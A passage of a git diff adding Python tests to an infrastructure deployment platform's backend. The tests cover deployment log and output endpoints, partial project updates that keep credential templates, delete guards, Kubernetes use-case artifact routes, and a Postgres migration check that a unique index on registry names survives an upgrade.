data["logs"][0]["message"] + assert "docker run" in data["logs"][-1]["message"] + + def test_logs_prefer_deployment_log_rows_when_present( + self, client, admin_headers, sample_module, db + ): + """DeploymentLog rows still win when they exist (the retry path).""" + from models import Task + + mod = sample_module["module"] + db.add(DeploymentLog(module_id=mod.id, level="warning", + message="Deployment retry (apply) queued", timestamp=datetime.now(UTC))) + db.add(Task(project_id=mod.project_id, module_id=mod.id, task_type="apply", + status="completed", triggered_by="user", celery_task_id="cel-154b", + logs="task output that must NOT be served here")) + db.commit() + + data = client.get(f"/api/project-modules/{mod.id}/logs", headers=admin_headers).json() + + assert data["source"] == "deployment_log" + assert data["logs"][0]["message"] == "Deployment retry (apply) queued" + + def test_logs_with_nothing_at_all_carries_a_hint( + self, client, admin_headers, sample_module + ): + """A genuinely empty module still returns 200, but is no longer silent + about where output WOULD be.""" + mod = sample_module["module"] + data = client.get(f"/api/project-modules/{mod.id}/logs", headers=admin_headers).json() + + assert data["total_logs"] == 0 + assert data["source"] == "none" + assert "/api/tasks" in data["hint"] + + def test_logs_task_fallback_honours_limit( + self, client, admin_headers, sample_module, db + ): + from models import Task + + mod = sample_module["module"] + db.add(Task(project_id=mod.project_id, module_id=mod.id, task_type="apply", + status="completed", triggered_by="user", celery_task_id="cel-154c", + logs="\n".join(f"line {i}" for i in range(50)))) + db.commit() + + data = client.get(f"/api/project-modules/{mod.id}/logs?limit=5", headers=admin_headers).json() + assert data["total_logs"] == 5 + # Tail of the log (lines 45..49), newest first. + assert [r["message"] for r in data["logs"]] == [f"line {i}" for i in range(49, 44, -1)] + def test_get_deployment_logs_module_not_found( self, client, admin_headers, sample_user ): @@ -98,6 +174,27 @@ def test_get_deployment_history( assert data["deployments"][0]["status"] == "success" assert data["deployments"][0]["resources_to_add"] == 3 + def test_deployment_rows_expose_task_id( + self, client, admin_headers, sample_module, db + ): + """#154: `id` on a deployment row looked like the log handle but was + not. Rows written by create_deployment_record carry the task id in + meta_data; the route exposes it as task_id.""" + mod = sample_module["module"] + db.add(Deployment(module_id=mod.id, action="apply", status="success", + triggered_by="user", started_at=datetime.now(UTC), + meta_data={"task_id": 4242, "celery_task_id": "cel-4242"})) + # A pre-#154 row with no meta_data must not break the listing. + db.add(Deployment(module_id=mod.id, action="plan", status="success", + triggered_by="user", started_at=datetime.now(UTC))) + db.commit() + + rows = client.get(f"/api/project-modules/{mod.id}/deployments", + headers=admin_headers).json()["deployments"] + by_action = {r["action"]: r for r in rows} + assert by_action["apply"]["task_id"] == 4242 + assert by_action["plan"]["task_id"] is None + def test_get_deployment_history_filter_by_action( self, client, admin_headers, sample_module, db ): @@ -281,3 +378,127 @@ def test_repair_access_normalizes_stale_outputs(self, client, admin_headers, sam assert data["infrastructure_private_key_available"] is False assert data["infrastructure_private_key_path"] is None assert data["infrastructure_access_status"] == "recovery_required" + + +class TestGetDeploymentOutput: + """GET /api/project-modules/{module_id}/deployments/{deployment_id}/output. + + Issue #526: the deployments endpoint returned status, timing and resource + counts but no log, and every other plausible path 404'd. A failed container + deploy could only be diagnosed by opening the UI, which makes headless/CI + deployment effectively undebuggable. + """ + + def _deployment(self, db, module, **overrides): + fields = dict( + module_id=module.id, + action="apply", + status="failed", + exit_code=1, + started_at=datetime.now(UTC), + completed_at=datetime.now(UTC), + duration_seconds=804.79, + stdout="[1/6] Container-runtime preflight ...\nerror: refusing to overwrite: /state/poc already exists\n", + stderr="", + ) + fields.update(overrides) + dep = Deployment(**fields) + db.add(dep) + db.commit() + db.refresh(dep) + return dep + + def test_returns_the_captured_step_output(self, client, admin_headers, sample_module, db): + """The stdout captured at deploy time is actually reachable over the API.""" + mod = sample_module["module"] + dep = self._deployment(db, mod) + + response = client.get( + f"/api/project-modules/{mod.id}/deployments/{dep.id}/output", + headers=admin_headers, + ) + assert response.status_code == 200 + + data = response.json() + assert data["deployment_id"] == dep.id + assert data["module_id"] == mod.id + assert data["status"] == "failed" + assert data["exit_code"] == 1 + assert "refusing to overwrite" in data["stdout"], ( + "the failure reason is missing — this endpoint exists precisely so a " + "failed deploy can be diagnosed without the UI (issue #526)" + ) + assert data["truncated"] is False + + def test_keeps_the_tail_when_output_exceeds_the_cap( + self, client, admin_headers, sample_module, db + ): + """Truncation keeps the END — the error is at the bottom of a deploy log.""" + mod = sample_module["module"] + dep = self._deployment( + db, mod, stdout=("filler line\n" * 5000) + "FINAL ERROR: cluster unreachable\n" + ) + + response = client.get( + f"/api/project-modules/{mod.id}/deployments/{dep.id}/output?max_bytes=1024", + headers=admin_headers, + ) + assert response.status_code == 200 + + data = response.json() + assert data["truncated"] is True + assert len(data["stdout"]) <= 1024 + assert "FINAL ERROR: cluster unreachable" in data["stdout"], ( + "truncation dropped the tail, discarding the only line that explains " + "the failure" + ) + + def test_unknown_deployment_returns_404(self, client, admin_headers, sample_module): + mod = sample_module["module"] + response = client.get( + f"/api/project-modules/{mod.id}/deployments/999999/output", + headers=admin_headers, + ) + assert response.status_code == 404 + + def test_deployment_of_another_module_is_not_readable( + self, client, admin_headers, sample_module, sample_project, db + ): + """A real deployment id belonging to a different module must 404 here.""" + mod = sample_module["module"] + other = ProjectModule( + project_id=sample_project.id, + module_library_id=sample_module["library"].id, + path_in_project="infra/other", + status="applied", + ) + db.add(other) + db.commit() + db.refresh(other) + + dep = self._deployment(db, other, stdout="secrets of another module") + + response = client.get( + f"/api/project-modules/{mod.id}/deployments/{dep.id}/output", + headers=admin_headers, + ) + assert response.status_code == 404, ( + "a deployment was readable through the wrong module's path" + ) + + def test_viewer_can_read_output( + self, client, viewer_headers, all_test_users, sample_project, db + ): + """Diagnosis is a read operation — viewers get it.""" + from tests.factories import ModuleLibraryFactory, ProjectModuleFactory + + lib = ModuleLibraryFactory(db, name="rbac-output-test", category="test") + mod = ProjectModuleFactory(db, project=sample_project, library_module=lib) + db.commit() + dep = self._deployment(db, mod) + + response = client.get( + f"/api/project-modules/{mod.id}/deployments/{dep.id}/output", + headers=viewer_headers, + ) + assert response.status_code == 200 diff --git a/backend/tests/integration/test_routes_projects.py b/backend/tests/integration/test_routes_projects.py index fa098b5d..dbcadf71 100644 --- a/backend/tests/integration/test_routes_projects.py +++ b/backend/tests/integration/test_routes_projects.py @@ -205,6 +205,20 @@ def test_viewer_can_read(self, client, viewer_headers, all_test_users, sample_pr assert response.status_code == 200 +def _credential_template(db): + """A real cloud_credential_templates row. + + project.credential_template_id is a FK, so a synthetic id trips + "FOREIGN KEY constraint failed" before the assertion under test is reached. + """ + from models.system import CloudCredentialTemplate + + tpl = CloudCredentialTemplate(name="test-cred-template", provider="ibmcloud") + db.add(tpl) + db.flush() + return tpl + + class TestProjectUpdate: """PUT /api/projects/{id}.""" @@ -236,6 +250,79 @@ def test_update_project_partial(self, client, admin_headers, sample_user, sample assert sample_project.description == "Only desc changed" assert sample_project.project_type == original_type + def test_partial_update_keeps_platform_routing_fields( + self, client, admin_headers, sample_user, sample_project, db + ): + """The same always-true hasattr() was nulling these three on every update. + + They sit thirty lines above the credential guards in the same method, so + a fix that stopped at the credential fields would still have left every + partial update wiping the project's platform routing. + """ + sample_project.target_platform_profile = "kubernetes-onprem" + sample_project.platform_provider = "ibmcloud" + sample_project.management_boundary = "customer" + db.commit() + + response = client.put( + f"/api/projects/{sample_project.id}", + json={"description": "unrelated change"}, + headers=admin_headers, + ) + assert response.status_code == 200 + + db.refresh(sample_project) + assert sample_project.target_platform_profile == "kubernetes-onprem" + assert sample_project.platform_provider == "ibmcloud" + assert sample_project.management_boundary == "customer" + + def test_partial_update_keeps_credential_template( + self, client, admin_headers, sample_user, sample_project, db + ): + """A partial update must not detach the project's credential template. + + hasattr() is always True for a declared Pydantic field, so the old check + fired on every request and wrote the default of None. Any update that did + not mention the template silently cleared it — and the template is where + IBMCLOUD_API_KEY comes from, so every module that ran afterwards had no + cloud credentials. + """ + tpl = _credential_template(db) + sample_project.credential_template_id = tpl.id + db.commit() + + response = client.put( + f"/api/projects/{sample_project.id}", + json={"description": "unrelated change"}, + headers=admin_headers, + ) + assert response.status_code == 200 + + db.refresh(sample_project) + assert sample_project.credential_template_id == tpl.id, ( + "partial update cleared the credential template; every subsequent " + "module would run without cloud credentials" + ) + + def test_credential_template_can_still_be_cleared_explicitly( + self, client, admin_headers, sample_user, sample_project, db + ): + """Sending an explicit null still detaches it — omission is not the same + as an explicit clear, and callers must retain the ability to do both.""" + tpl = _credential_template(db) + sample_project.credential_template_id = tpl.id + db.commit() + + response = client.put( + f"/api/projects/{sample_project.id}", + json={"credential_template_id": None}, + headers=admin_headers, + ) + assert response.status_code == 200 + + db.refresh(sample_project) + assert sample_project.credential_template_id is None + def test_update_project_viewer_denied(self, client, viewer_headers, all_test_users, sample_project): """Viewer cannot update projects.""" response = client.put( @@ -316,3 +403,105 @@ def test_activate_project(self, client, admin_headers, sample_user, sample_proje db.refresh(sample_project) assert sample_project.is_active is True + + +class TestProjectDeleteGuardOverHTTP: + """The teardown guard and module_state at the route boundary. + + Service-level tests cannot see these: FastAPI filters every response + through its response_model, so a field the service emits but the schema + does not declare is silently dropped before it reaches a client. + """ + + def _applied_module(self, db, project, library): + from models import ProjectModule + + mod = ProjectModule( + project_id=project.id, + module_library_id=library.id, + path_in_project="infra/live", + status="applied", + ) + db.add(mod) + db.commit() + return mod + + def test_module_state_reaches_client_on_detail( + self, client, admin_headers, sample_user, sample_project, db + ): + """GET /{id} carries a COMPUTED module_state. + + Asserting "clean" here would be vacuous: it is also the schema default, + so it passes even if the service stops emitting the field. Drive a + non-default value instead. + """ + from models import ProjectModule + from tests.factories import ModuleLibraryFactory + + lib = ModuleLibraryFactory(db, name="state-lib", category="networking") + mod = ProjectModule(project_id=sample_project.id, module_library_id=lib.id, + path_in_project="infra/state", status="applied") + db.add(mod) + db.commit() + + response = client.get(f"/api/projects/{sample_project.id}", headers=admin_headers) + assert response.status_code == 200 + assert response.json()["module_state"] == "in_progress" + + mod.status = "destroy_failed" + db.commit() + response = client.get(f"/api/projects/{sample_project.id}", headers=admin_headers) + assert response.json()["module_state"] == "failed" + + mod.status = "destroyed" + db.commit() + response = client.get(f"/api/projects/{sample_project.id}", headers=admin_headers) + assert response.json()["module_state"] == "clean" + + def test_module_state_reaches_client_on_list( + self, client, admin_headers, sample_user, sample_project, db + ): + """GET / carries a COMPUTED module_state on each item.""" + from models import ProjectModule + from tests.factories import ModuleLibraryFactory + + lib = ModuleLibraryFactory(db, name="list-state-lib", category="networking") + db.add(ProjectModule(project_id=sample_project.id, module_library_id=lib.id, + path_in_project="infra/list-state", status="applied")) + db.commit() + + response = client.get("/api/projects", headers=admin_headers) + assert response.status_code == 200 + items = response.json()["projects"] + mine = [i for i in items if i["id"] == sample_project.id] + assert mine, "expected the sample project in the listing" + assert mine[0]["module_state"] == "in_progress" + + def test_delete_blocked_with_409_when_module_still_owns_infra( + self, client, admin_headers, sample_user, sample_module, db + ): + """An applied module blocks deletion with an actionable 409.""" + project = sample_module["project"] + self._applied_module(db, project, sample_module["library"]) + + response = client.delete(f"/api/projects/{project.id}", headers=admin_headers) + assert response.status_code == 409 + + err = response.json()["error"] + assert err["details"]["requires_force"] is True + undestroyed = err["details"]["undestroyed_modules"] + assert [m["status"] for m in undestroyed] == ["applied"] + assert db.query(Project).filter(Project.id == project.id).first() is not None + + def test_delete_allowed_with_force( + self, client, admin_headers, sample_user, sample_module, db + ): + """force=true is the documented override and still deletes.""" + project = sample_module["project"] + self._applied_module(db, project, sample_module["library"]) + + response = client.delete( + f"/api/projects/{project.id}?force=true", headers=admin_headers + ) + assert response.status_code == 200 + assert db.query(Project).filter(Project.id == project.id).first() is None diff --git a/backend/tests/integration/test_routes_usecase_artifacts.py b/backend/tests/integration/test_routes_usecase_artifacts.py new file mode 100644 index 00000000..ef77e620 --- /dev/null +++ b/backend/tests/integration/test_routes_usecase_artifacts.py @@ -0,0 +1,295 @@ +""" +Integration tests for use-case artifact routes (D-034 Phase 0 tracer) — +/api/clusters/{id}/usecase-artifacts/capture, .../usecase-artifact-versions/{id}/apply, +.../usecase-artifact-versions/{id}/drift. + +Uses FastAPI TestClient with real SQLite DB. K8s client is mocked at the +service-module import sites; capture/render/apply/drift run for real. +""" + +from unittest.mock import MagicMock, patch + +from models import UseCaseArtifact, UseCaseArtifactVersion + + +def _vlan(name: str, selfips) -> dict: + return { + "kind": "F5SPKVlan", + "apiVersion": "k8s.f5net.com/v1", + "metadata": {"name": name, "namespace": "spk"}, + "spec": {"selfip_v4s": selfips}, + } + + +class TestCaptureRoute: + """POST /api/clusters/{cluster_id}/usecase-artifacts/capture.""" + + @patch("services.usecase_artifact_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_capture_creates_version( + self, mock_k8s, mock_k8s_svc, mock_fetch, + client, operator_headers, all_test_users, sample_project, make_k8s_cluster, + ): + cluster = make_k8s_cluster(project=sample_project, name="capture-cluster") + mock_fetch.return_value = [_vlan("vlan1", ["10.0.0.1/24"])] + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifacts/capture", + json={"name": "east-west", "version": "v1"}, + headers=operator_headers, + ) + assert response.status_code == 200 + + data = response.json() + assert data["already_captured"] is False + assert data["version"]["version"] == "v1" + assert data["version"]["cr_templates"][0]["spec"]["selfip_v4s"] == "${selfip_v4s}" + assert data["version"]["param_schema"][0]["key"] == "selfip_v4s" + assert data["version"]["created_by"] is not None + + @patch("services.usecase_artifact_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_recapture_unchanged_shape_is_idempotent( + self, mock_k8s, mock_k8s_svc, mock_fetch, + client, operator_headers, all_test_users, sample_project, make_k8s_cluster, + ): + cluster = make_k8s_cluster(project=sample_project, name="capture-cluster-2") + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + + mock_fetch.return_value = [_vlan("vlan1", ["10.0.0.1/24"])] + first = client.post( + f"/api/clusters/{cluster.id}/usecase-artifacts/capture", + json={"name": "east-west-2", "version": "v1"}, + headers=operator_headers, + ) + assert first.json()["already_captured"] is False + + mock_fetch.return_value = [_vlan("vlan1", ["192.168.9.9/24"])] + second = client.post( + f"/api/clusters/{cluster.id}/usecase-artifacts/capture", + json={"name": "east-west-2", "version": "v2"}, + headers=operator_headers, + ) + assert second.status_code == 200 + assert second.json()["already_captured"] is True + assert second.json()["version"]["id"] == first.json()["version"]["id"] + + def test_capture_cluster_not_found(self, client, operator_headers, all_test_users): + response = client.post( + "/api/clusters/99999/usecase-artifacts/capture", + json={"name": "east-west", "version": "v1"}, + headers=operator_headers, + ) + assert response.status_code == 404 + + def test_capture_viewer_forbidden( + self, client, viewer_headers, all_test_users, sample_project, make_k8s_cluster + ): + cluster = make_k8s_cluster(project=sample_project, name="capture-cluster-rbac-1") + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifacts/capture", + json={"name": "east-west", "version": "v1"}, + headers=viewer_headers, + ) + assert response.status_code == 403 + + def test_capture_unauthenticated(self, client, sample_project, make_k8s_cluster): + cluster = make_k8s_cluster(project=sample_project, name="capture-cluster-rbac-2") + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifacts/capture", + json={"name": "east-west", "version": "v1"}, + ) + assert response.status_code == 401 + + +class TestApplyRoute: + """POST /api/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/apply.""" + + @staticmethod + def _make_version(db, cluster_id): + artifact = UseCaseArtifact(name="apply-artifact") + db.add(artifact) + db.flush() + version = UseCaseArtifactVersion( + artifact_id=artifact.id, + version="v1", + cr_templates=[_vlan("vlan1", "${selfip_v4s}")], + param_schema=[{ + "key": "selfip_v4s", "type": "ip", "kind": "assigned", "is_list": True, + "required": True, "source_paths": [{"kind": "F5SPKVlan", "jsonpath": "spec.selfip_v4s"}], + }], + source="captured_from_cluster", + source_cluster_id=cluster_id, + content_hash="apply-hash", + ) + db.add(version) + db.commit() + db.refresh(version) + return version + + @patch("services.config_export_service.apply_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_apply_sends_rendered_concrete_selfips( + self, mock_k8s, mock_k8s_svc, mock_apply, + client, operator_headers, all_test_users, sample_project, make_k8s_cluster, db, + ): + cluster = make_k8s_cluster(project=sample_project, name="apply-cluster") + version = self._make_version(db, cluster.id) + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + mock_apply.return_value = {"applied": [{"kind": "F5SPKVlan"}], "failed": [], "skipped": []} + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/apply", + json={"param_values": {"selfip_v4s": ["10.42.42.1/24"]}}, + headers=operator_headers, + ) + assert response.status_code == 200 + + data = response.json() + assert data["results"]["applied"] == [{"kind": "F5SPKVlan"}] + assert data["application"]["param_values"] == {"selfip_v4s": ["10.42.42.1/24"]} + + # The shared write path must have received RENDERED concrete selfips, not the token. + mock_apply.assert_called_once() + applied_resources = mock_apply.call_args[0][3] + assert applied_resources["bnk_data_plane"][0]["spec"]["selfip_v4s"] == ["10.42.42.1/24"] + + @patch("services.config_export_service.apply_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_apply_sets_applied_by( + self, mock_k8s, mock_k8s_svc, mock_apply, + client, operator_headers, all_test_users, sample_project, make_k8s_cluster, db, + ): + cluster = make_k8s_cluster(project=sample_project, name="apply-cluster-applied-by") + version = self._make_version(db, cluster.id) + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + mock_apply.return_value = {"applied": [{"kind": "F5SPKVlan"}], "failed": [], "skipped": []} + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/apply", + json={"param_values": {"selfip_v4s": ["10.42.42.1/24"]}}, + headers=operator_headers, + ) + assert response.status_code == 200 + + data = response.json() + assert data["application"]["applied_by"] is not None + + def test_apply_missing_required_param_returns_400( + self, client, operator_headers, all_test_users, sample_project, make_k8s_cluster, db, + ): + cluster = make_k8s_cluster(project=sample_project, name="apply-cluster-2") + version = self._make_version(db, cluster.id) + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/apply", + json={"param_values": {}}, + headers=operator_headers, + ) + assert response.status_code == 400 + + def test_apply_viewer_forbidden( + self, client, viewer_headers, all_test_users, sample_project, make_k8s_cluster, db, + ): + cluster = make_k8s_cluster(project=sample_project, name="apply-cluster-3") + version = self._make_version(db, cluster.id) + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/apply", + json={"param_values": {"selfip_v4s": ["10.0.0.1/24"]}}, + headers=viewer_headers, + ) + assert response.status_code == 403 + + def test_apply_unauthenticated(self, client, sample_project, make_k8s_cluster, db): + cluster = make_k8s_cluster(project=sample_project, name="apply-cluster-4") + version = self._make_version(db, cluster.id) + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/apply", + json={"param_values": {"selfip_v4s": ["10.0.0.1/24"]}}, + ) + assert response.status_code == 401 + + +class TestDriftRoute: + """POST /api/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/drift.""" + + @staticmethod + def _make_version(db, cluster_id): + artifact = UseCaseArtifact(name="drift-artifact") + db.add(artifact) + db.flush() + version = UseCaseArtifactVersion( + artifact_id=artifact.id, + version="v1", + cr_templates=[_vlan("vlan1", "${selfip_v4s}")], + param_schema=[{ + "key": "selfip_v4s", "type": "ip", "kind": "assigned", "is_list": True, + "required": True, "source_paths": [{"kind": "F5SPKVlan", "jsonpath": "spec.selfip_v4s"}], + }], + source="captured_from_cluster", + source_cluster_id=cluster_id, + content_hash="drift-hash", + ) + db.add(version) + db.commit() + db.refresh(version) + return version + + @patch("services.config_export_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_drift_detected_returns_real_report( + self, mock_k8s, mock_k8s_svc, mock_fetch, + client, operator_headers, all_test_users, sample_project, make_k8s_cluster, db, + ): + cluster = make_k8s_cluster(project=sample_project, name="drift-cluster") + version = self._make_version(db, cluster.id) + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + mock_fetch.return_value = [_vlan("vlan1", ["192.168.1.1/24"])] + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/drift", + json={"param_values": {"selfip_v4s": ["10.0.0.1/24"]}}, + headers=operator_headers, + ) + assert response.status_code == 200 + + data = response.json() + assert data["drift_detected"] is True + assert data["resource_changes"]["change"] == 1 + assert data["summary"] != "K8s drift check not available" + + def test_drift_viewer_forbidden( + self, client, viewer_headers, all_test_users, sample_project, make_k8s_cluster, db, + ): + cluster = make_k8s_cluster(project=sample_project, name="drift-cluster-2") + version = self._make_version(db, cluster.id) + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/drift", + json={"param_values": {"selfip_v4s": ["10.0.0.1/24"]}}, + headers=viewer_headers, + ) + assert response.status_code == 403 + + def test_drift_unauthenticated(self, client, sample_project, make_k8s_cluster, db): + cluster = make_k8s_cluster(project=sample_project, name="drift-cluster-3") + version = self._make_version(db, cluster.id) + + response = client.post( + f"/api/clusters/{cluster.id}/usecase-artifact-versions/{version.id}/drift", + json={"param_values": {"selfip_v4s": ["10.0.0.1/24"]}}, + ) + assert response.status_code == 401 diff --git a/backend/tests/migrations/conftest.py b/backend/tests/migrations/conftest.py new file mode 100644 index 00000000..eb2e910b --- /dev/null +++ b/backend/tests/migrations/conftest.py @@ -0,0 +1,71 @@ +"""Shared Postgres isolation for the migration regression tests. + +These tests provision tables in specific historical shapes, which means +dropping and recreating them. CI points TEST_POSTGRES_URL at the ORM database +built by init_db.py — the full create_all schema — so dropping a table there +fails the moment another table holds a foreign key to it: + + psycopg2.errors.DependentObjectsStillExist: + cannot drop table kubernetes_clusters because other objects depend on it + +Each test therefore gets its own throwaway database rather than sharing the +one CI hands us. Isolation is the point: a migration test that mutates the +shared schema also corrupts whatever runs after it. +""" +import os +import uuid + +import pytest +import sqlalchemy as sa + +PG_URL = os.environ.get("TEST_POSTGRES_URL") + + +@pytest.fixture() +def pg_scratch_engine(): + """An engine bound to a fresh, disposable Postgres database. + + Skips when no Postgres is configured — EXCEPT in the job that exists to run + these tests, which sets BNK_REQUIRE_MIGRATION_TESTS. There, a skip is a gate + reporting green while asserting nothing, so it fails instead. That applies + to an unreachable server or a role without CREATEDB too, not just a missing + URL: every path that would end in "no assertions ran" has to be loud in that + job. + """ + if not PG_URL: + if os.environ.get("BNK_REQUIRE_MIGRATION_TESTS"): + pytest.fail( + "TEST_POSTGRES_URL is unset in the job that requires the " + "migration tests — they would skip and the gate would pass " + "without asserting anything" + ) + pytest.skip("TEST_POSTGRES_URL not set; these semantics need Postgres") + + url = sa.engine.make_url(PG_URL) + scratch_name = f"bnkforge_migtest_{uuid.uuid4().hex[:12]}" + + # CREATE/DROP DATABASE cannot run inside a transaction. + admin = sa.create_engine(url.set(database="postgres"), isolation_level="AUTOCOMMIT") + try: + with admin.connect() as conn: + conn.execute(sa.text(f'CREATE DATABASE "{scratch_name}"')) + except sa.exc.OperationalError as exc: + if os.environ.get("BNK_REQUIRE_MIGRATION_TESTS"): + pytest.fail( + f"cannot create a scratch database in the job that requires the " + f"migration tests: {exc}" + ) + pytest.skip(f"cannot create a scratch database on this server: {exc}") + + scratch = sa.create_engine(url.set(database=scratch_name)) + try: + yield scratch + finally: + scratch.dispose() + with admin.connect() as conn: + conn.execute(sa.text( + "SELECT pg_terminate_backend(pid) FROM pg_stat_activity " + "WHERE datname = :d AND pid <> pg_backend_pid()" + ), {"d": scratch_name}) + conn.execute(sa.text(f'DROP DATABASE IF EXISTS "{scratch_name}"')) + admin.dispose() diff --git a/backend/tests/migrations/test_v2_152_index_guard.py b/backend/tests/migrations/test_v2_152_index_guard.py new file mode 100644 index 00000000..76ffde84 --- /dev/null +++ b/backend/tests/migrations/test_v2_152_index_guard.py @@ -0,0 +1,190 @@ +"""v2_152 must not drop the UNIQUE index on container_registries.name. + +`ix_container_registries_name` means opposite things on the two provisioning +paths, and the revision has to tell them apart: + + * chain-built — the redundant PLAIN index from v2_138. Uniqueness lives on + the separate `container_registries_name_key` constraint. Safe to drop. + * create_all — the ONE index the model's `unique=True, index=True` renders + to, and it is UNIQUE. It is the only thing enforcing uniqueness on `name`. + Dropping it makes duplicate registry names insertable. + +An `if_exists=True` guard cannot distinguish them: the index is present either +way. That is the bug this revision was corrected for, and nothing pinned it — +the only detector was the whole-schema parity job, which is path-filtered and +had been failing to reach its assertion for unrelated reasons. + +Requires Postgres: the distinction is between a UNIQUE and a plain index, which +SQLite does not model the same way. Set TEST_POSTGRES_URL to run; skipped +otherwise so the default suite is unaffected. +""" + +import importlib.util +import os +from pathlib import Path + +import pytest +import sqlalchemy as sa + +pytestmark = pytest.mark.integration + +PG_URL = os.environ.get("TEST_POSTGRES_URL") +_REVISION = ( + Path(__file__).resolve().parents[2] + / "alembic" / "versions" / "v2_152_heal_stamped_head_drift.py" +) + +_TABLE_DDL = """ +CREATE TABLE container_registries ( + id SERIAL PRIMARY KEY, + name VARCHAR(255) NOT NULL, + type VARCHAR(50), + registry_host VARCHAR(255), + username VARCHAR(255), + token_encrypted TEXT, + far_service_account_encrypted TEXT, + credential_template_id INTEGER, + description TEXT, + created_by VARCHAR(255), + last_test_status VARCHAR(50), + last_test_at TIMESTAMPTZ, + last_test_message TEXT, + created_at TIMESTAMPTZ DEFAULT now(), + updated_at TIMESTAMPTZ DEFAULT now() +) +""" + + +# These tests DROP AND RECREATE container_registries, so they must never run +# against a database anyone else owns. +# +# A name-shaped guard was tried first and was not enough: a substring check for +# "_test"/"_ci" admits `bnk_forge_test`, which is THIS REPO'S OWN +# docker-compose.test.yml database, and `bnkforge_orm_ci`, which is the artifact +# the parity gate in the same CI job reads. Dropping a table there destroys +# token_encrypted / far_service_account_encrypted — unrecoverable secrets, not +# regenerable schema — or silently breaks a sibling gate. +# +# So the fixture creates its OWN database per run and drops it afterwards. +# Nothing pre-existing is touched, which makes the whole question moot rather +# than merely constrained. + + +@pytest.fixture() +def engine(pg_scratch_engine): + """Scratch-database isolation now lives in conftest.py so this file and + test_v2_153 cannot drift apart on it -- including the rule that a skip is + a failure in the job that requires these tests.""" + return pg_scratch_engine + + +def _provision(engine, *, unique_index: bool) -> None: + """Build the container_registries table in one of the two real shapes.""" + with engine.begin() as conn: + conn.execute(sa.text("DROP TABLE IF EXISTS container_registries CASCADE")) + conn.execute(sa.text(_TABLE_DDL)) + if unique_index: + # create_all: model renders unique=True, index=True to ONE unique index + conn.execute(sa.text( + "CREATE UNIQUE INDEX ix_container_registries_name " + "ON container_registries (name)")) + else: + # chain: UniqueConstraint + the redundant plain index from v2_138 + conn.execute(sa.text( + "ALTER TABLE container_registries " + "ADD CONSTRAINT container_registries_name_key UNIQUE (name)")) + conn.execute(sa.text( + "CREATE INDEX ix_container_registries_name " + "ON container_registries (name)")) + + +def _run_upgrade(engine) -> None: + from alembic.migration import MigrationContext + from alembic.operations import Operations + + spec = importlib.util.spec_from_file_location("v2_152", _REVISION) + revision = importlib.util.module_from_spec(spec) + spec.loader.exec_module(revision) + + with engine.connect() as conn: + ctx = MigrationContext.configure(conn) + with Operations.context(ctx): + revision.upgrade() + conn.commit() + + +def _name_indexes(engine) -> dict[str, bool]: + """{index_name: is_unique} for indexes on container_registries.name.""" + with engine.connect() as conn: + rows = conn.execute(sa.text( + "SELECT indexname, indexdef FROM pg_indexes " + "WHERE tablename = 'container_registries' AND indexname LIKE '%name%'" + )).fetchall() + return {r[0]: "UNIQUE" in r[1] for r in rows} + + +def _duplicate_names_rejected(engine) -> bool: + with engine.begin() as conn: + conn.execute(sa.text("DELETE FROM container_registries")) + conn.execute(sa.text( + "INSERT INTO container_registries (name, type, registry_host) " + "VALUES ('dup', 'harbor', 'h1')")) + try: + with engine.begin() as conn: + conn.execute(sa.text( + "INSERT INTO container_registries (name, type, registry_host) " + "VALUES ('dup', 'harbor', 'h2')")) + except sa.exc.IntegrityError: + return True + return False + + +class TestV2152IndexGuard: + def test_create_all_unique_index_survives(self, engine): + """The stamped-head install path: the unique index must NOT be dropped. + + v3.1.6 stamps at v2_141, below this revision, so every install upgrading + from the current floor runs it — this is the ordinary path, not an edge + case. + """ + _provision(engine, unique_index=True) + assert _name_indexes(engine) == {"ix_container_registries_name": True} + + _run_upgrade(engine) + + assert _name_indexes(engine).get("ix_container_registries_name") is True, ( + "v2_152 dropped the UNIQUE index on container_registries.name — this " + "is the only thing enforcing uniqueness on the create_all path, so " + "duplicate registry names become insertable" + ) + assert _duplicate_names_rejected(engine), "uniqueness on name is gone" + + def test_chain_built_plain_index_is_dropped(self, engine): + """Contrast: the redundant plain index SHOULD still be removed. + + Without this, the test above would also pass if the revision simply + stopped dropping anything. + """ + _provision(engine, unique_index=False) + before = _name_indexes(engine) + assert before.get("ix_container_registries_name") is False + assert before.get("container_registries_name_key") is True + + _run_upgrade(engine) + + after = _name_indexes(engine) + assert "ix_container_registries_name" not in after, ( + "the redundant plain index survived; create_all and the chain would " + "diverge and the parity gate would fail" + ) + assert after.get("container_registries_name_key") is True + assert _duplicate_names_rejected(engine) + + def test_upgrade_is_idempotent_on_both_shapes(self, engine): + """A re-run must not fail or change the outcome.""" + for unique in (True, False): + _provision(engine, unique_index=unique) + _run_upgrade(engine) + first = _name_indexes(engine) + _run_upgrade(engine) 